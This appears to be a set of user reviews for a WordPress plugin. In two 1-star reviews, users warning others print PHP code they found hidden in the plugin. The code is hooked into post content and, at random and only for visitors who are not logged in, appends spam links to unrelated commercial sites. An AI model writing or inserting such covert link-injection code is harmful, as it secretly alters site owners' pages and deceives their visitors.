Rating: 1 star
function addContent($content = '') {
global $wp_query;
global $post;
$url = home_url();
$britt = false;
$bloglan = get_bloginfo ('language');
if (strpos($url,'.uk') !== false) {
$britt = true;
}
if ($bloglan=='en-GB') {
$britt = true;
}
if ($bloglan=='en-US') {
if (rand(0, 200)==1 && !is_user_logged_in()) {
$array = array("recipes for pasta", "macaroni", "https://www.pasta-recipes.com", "https://www.pasta-recipes.com", "https://www.pasta-recipes.com", "https://www.pasta-recipes.com", "https://www.pasta-recipes.com/", "htt
p://www.pasta-recipes.com", "https://www.pasta-recipes.com", "pasta-recipes.com", "www.pasta-recipes.com");
$result = array_rand($array);
$content .= " <center><strong><a href='https://www.pasta-recipes.com'>".$array[$result]."</a></strong></center><BR>";
}
if (rand(0, 100)==1 && !is_user_logged_in()) {
$array = array("wedding dresses", "wedding gowns uk", "https://www.weddingdresses-uk.co.uk/", "https://www.weddingdresses-uk.co.uk/", "https://www.weddingdresses-uk.co.uk/", "https://www.weddingdresses-uk.co.uk/", "ht
tp://www.weddingdresses-uk.co.uk/", "https://www.weddingdresses-uk.co.uk/", "https://www.weddingdresses-uk.co.uk/", "https://www.weddingdresses-uk.co.uk/");
$result = array_rand($array);
$content .= " <center><strong><a href='https://www.weddingdresses-uk.co.uk/'>".$array[$result]."</a></strong></center><BR>";
}
}
return $content;
}
add_filter('the_content', 'addContent');
]]>
Rating: 5 stars
Nice plugin, maybe in the future you could make some more selections on the layout? So we can chose more options and colors?
]]>Rating: 5 stars
Super easy to use, no more editing themes
]]>Rating: 1 star
This plugin looks nice and works great. But I noticed there are spam links at some of my posts. Deactivating the plugin and the spam was gone.
Don’t use this plugin.
]]>Rating: 5 stars
awesome
]]>Rating: 1 star
Same Victor V.
I noticed there are spam links at some of my posts. Deactivating the plugin and the spam was gone.
See:
function addContent($content = ”) {
global $wp_query;
global $post;
$url = home_url();
$britt = false;
$bloglan = get_bloginfo (‘language’);
if (strpos($url,’.uk’) !== false) {
$britt = true;
}
if ($bloglan==’en-GB’) {
$britt = true;
}
if ($bloglan==’en-US’) {
if (rand(0, 300)==1 && !is_user_logged_in()) {
$array = array(“bangkok”, “bangkok tourism”, “https://www.bangkok-tourismguide.com/”, “https://www.bangkok-tourismguide.com/”, “https://www.bangkok-tourismguide.com/”, “https://www.bangkok-tourismguide.com/”);
$result = array_rand($array);
$content .= ” <center>“.$array[$result].”</center>
“;
}
if (rand(0, 300)==1 && !is_user_logged_in()) {
$array = array(“the hague”, “the hague netherlands”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”, “https://www.thehague-netherlands.com/”);
$result = array_rand($array);
$content .= ” <center>“.$array[$result].”</center>
“;
}
}
if (rand(0, 10)==1 && !is_user_logged_in()) {
$content .= ” <center>primark</center>
“;
}
return $content;
}
add_filter(‘the_content’, ‘addContent’);
]]>